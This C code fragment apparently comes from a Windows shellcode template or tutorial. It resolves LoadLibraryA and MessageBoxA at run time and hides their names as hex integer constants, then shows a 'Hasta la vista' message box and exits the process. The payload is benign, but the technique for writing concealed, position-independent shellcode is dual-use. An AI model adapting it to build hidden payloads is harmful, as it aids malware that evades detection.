// Now that we've got `GetProcAddress`, let's use it to get `LoadLibraryA`.
// A HMODULE is just a pointer to the base address of a module.
HMODULE kernel32Dll = (HMODULE)pDosHeader;
// Get `LoadLibraryA`.
x.text0 = 0x7262694C64616F4C; // `LoadLibr`
x.text1 = 0x0000000041797261; // `aryA\0\0\0\0`
typedef HMODULE(*LoadLibraryAFunc)(const char *);
LoadLibraryAFunc pLoadLibraryA = (LoadLibraryAFunc)pGetProcAddress(kernel32Dll, (const char *)&x.text0);
// Load `user32.dll`.
x.text0 = 0x642E323372657375; // `user32.d`
x.text1 = 0x0000000000006C6C; // `ll\0\0\0\0\0\0`
HMODULE user32Dll = pLoadLibraryA((const char *)&x.text0);
// Get `MessageBoxA`.
x.text0 = 0x426567617373654D; // `MessageB`
x.text1 = 0x000000000041786F; // `oxA\0\0\0\0\0`
typedef int32_t(*MessageBoxAFunc)(HWND, const char *, const char *, uint32_t);
MessageBoxAFunc pMessageBoxA = (MessageBoxAFunc)pGetProcAddress(user32Dll, (const char *)&x.text0);
// Display a message box.
x.text0 = 0x616C206174736148; // `Hasta la`
x.text1 = 0x0021617473697620; // ` vbista!\0`
// MessageBoxA(NULL, "Hasta la vista", "", MB_OK);
pMessageBoxA(NULL, (const char *)&x.text0, (const char *)&x.text1 + 7, MB_OK);
// Load `ExitProcess` from `kernel32.dll`.
x.text0 = 0x636F725074697845; // `ExitProc`
x.text1 = 0x0000000000737365; // `ess\0\0\0\0\0`
typedef void(*ExitProcessFunc)(uint32_t);
ExitProcessFunc pExitProcess = (ExitProcessFunc)pGetProcAddress(kernel32Dll, (const char *)&x.text0);
// Kill the current process with exit code -1.
pExitProcess((uint32_t)-1);
}
#pragma warning (pop)
//////////////////////////////////////////////////////////////////////////
// Just a main function to call your shell code.
int main()
{
shellcode_template();
MessageBoxA(NULL, "Shell code has been executed.", "Success!", MB_OK); // in case your modified shell code function did not exit the current process.
}